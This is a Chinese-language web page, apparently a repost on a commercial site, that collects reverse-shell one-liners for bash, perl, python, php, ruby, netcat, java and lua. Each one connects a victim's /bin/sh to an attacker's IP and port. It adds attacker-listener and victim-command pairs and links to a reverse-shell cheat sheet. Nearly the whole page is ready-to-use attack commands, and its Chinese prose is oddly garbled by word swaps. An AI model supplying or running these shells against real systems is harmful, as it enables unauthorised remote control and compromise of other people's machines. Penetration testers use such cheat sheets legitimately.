|
|
|
联系客服020-83701501

反弹shell的十一种姿势

联系在线客服,可以获得免费在线咨询服务。 QQ咨询 我要预约
反弹shell的十一种姿势

bash版本:

Default
1 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

留心这个是由剖析shell的bash实现,以是某些环境下不支持

perl版本:

Default
1 perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

python版本:

Default
1 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php版本:

Default
1 php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby版本:

Default
1 ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

nc版本:

Default
1 nc -e /bin/sh 10.0.0.1 1234

Default
1 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Default
1 nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

java版本

Default
123 r = Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])p.waitFor()

lua

Default
1 lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

_________________________________________

以上是原文 以下是对原文的补充:

1.

Default
1234 nc不独霸-e:Hacker:nc -lvnp listenportVictim:mknod /tmp/backpipe pVictim:/bin/sh 0</tmp/backpipe | nc attackerip listenport 1>/tmp/backpipe

 

Default
1234567891011 不独霸ncMethod 1:Hacker: nc -nvlpp 8080Victim: /bin/bash -i > /dev/tcp/173.214.173.151/8080 0<&1 2>&1Method 2:Hacker: nc -nvlpp8080Victim: mknod backpipe p && telnet 173.214.173.151 8080 0backpipeMethod 3:Hacker: nc -nvlpp8080Hacker: nc -nvlpp8888Victim: telnet 173.214.173.151 8080 | /bin/bash | telnet 173.214.173.151 8888

 

 

link:http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

http://zone.wooyun.org/content/5064

本文由网络平安攻防研讨室(www.91ri.org)动静平安小组收集整理,转载请说明因由。

数安新闻+更多

证书相关+更多